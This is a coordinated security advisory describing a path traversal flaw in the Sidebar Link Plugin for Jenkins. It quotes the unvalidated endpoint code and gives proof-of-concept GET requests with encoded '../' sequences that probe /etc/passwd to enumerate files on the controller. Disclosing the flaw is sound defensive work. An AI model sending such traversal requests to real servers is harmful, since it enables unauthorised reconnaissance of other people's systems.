Coordinated Disclosure Timeline

Summary

Sidebar Link Plug-in for Jenkins 2.2.1 and earlier does not restrict a file path parameter in an HTTP endpoint, allowing authenticated attackers to enumerate arbitrary files on the Jenkins controller file system.

Product

Sidebar Link Plug-in for Jenkins

Tested Version

2.2.1

Details

Filesystem enumeration in SidebarLinkPlugin.java (GHSL-2023-076)

The Sidebar Link Jenkins plugin implements an HTTP endpoint doCheckLinkIcon that receives a value parameter. This parameter is used to build a filesystem path in the Jenkins controller, and check for its existence:

src/main/java/hudson/plugins/sidebar_link/SidebarLinkPlugin.java:137

public FormValidation doCheckLinkIcon(@QueryParameter String value) {
    if (StringUtils.isBlank(value)) {
        return FormValidation.warning("The provided icon is blank or empty. Default will be used.");
    } else
        // do not validate if default icon is used
        if (!value.equals(LinkAction.DEFAULT_ICON_NAME)) {
          FilePath imageFile = Jenkins.get().getRootPath().child(value);
          try {
              if (!imageFile.exists()) {
                  return FormValidation.error("Image does not exist:  " + imageFile);
              }
          } catch (Exception e) {
              return FormValidation.error(e, "Problem with link icon:  " + value);
          }
      }
    return FormValidation.ok();
}

Since there is no validation performed on the parameter, it can contain .. sequences to escape the intended Jenkins root path directory. The plugin shows a different message depending on the file existing or not, which allows attackers to enumerate the controller filesystem by sending multiple requests with different paths and filenames.

Impact

This issue may lead to information disclosure.

PoC

To exploit this issue, attackers could make GET requests to the checkLinkIcon endpoint containing the desired paths to be enumerated.

Example of a negative request: http://localhost:8080/jenkins/job/test/descriptorByName/hudson.plugins.sidebar_link.SidebarLinkPlugin/checkLinkIcon?value=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/b

Response: Image does not exist:  /etc/b

Example of a positive request: http://localhost:8080/jenkins/job/test/descriptorByName/hudson.plugins.sidebar_link.SidebarLinkPlugin/checkLinkIcon?value=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd

Response: HTTP 200 OK

CVE

Resources

Credit

This issue was discovered and reported by CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-076 in any communication regarding this issue.